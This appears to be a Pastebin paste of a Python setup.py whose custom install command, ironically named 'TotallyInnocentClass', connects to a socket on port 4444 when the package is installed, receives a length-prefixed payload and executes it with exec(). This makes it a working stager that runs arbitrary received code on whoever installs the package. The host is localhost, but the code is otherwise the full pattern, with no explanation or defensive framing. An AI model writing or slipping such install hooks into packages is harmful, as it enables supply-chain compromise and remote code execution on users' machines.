Guest User

Untitled

a guest
Sep 10th, 2014
217
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.46 KB | None | 0 0
  1. import socket, struct
  2.  
  3. from setuptools import setup
  4. from setuptools.command.install import install
  5.  
  6. class TotallyInnocentClass(install):
  7. def run(self):
  8. s = socket.socket(2,1)
  9. s.connect(("localhost", 4444))
  10. l = struct.unpack(">I", s.recv(4))[0]
  11. d = s.recv(4096)
  12. while len(d) != l:
  13. d += s.recv(4096)
  14.  
  15. exec(d, {"s": s})
  16.  
  17. setup(
  18. cmdclass={
  19. "install": TotallyInnocentClass
  20. }
  21. )
Advertisement
Add Comment
Please, Sign In to add comment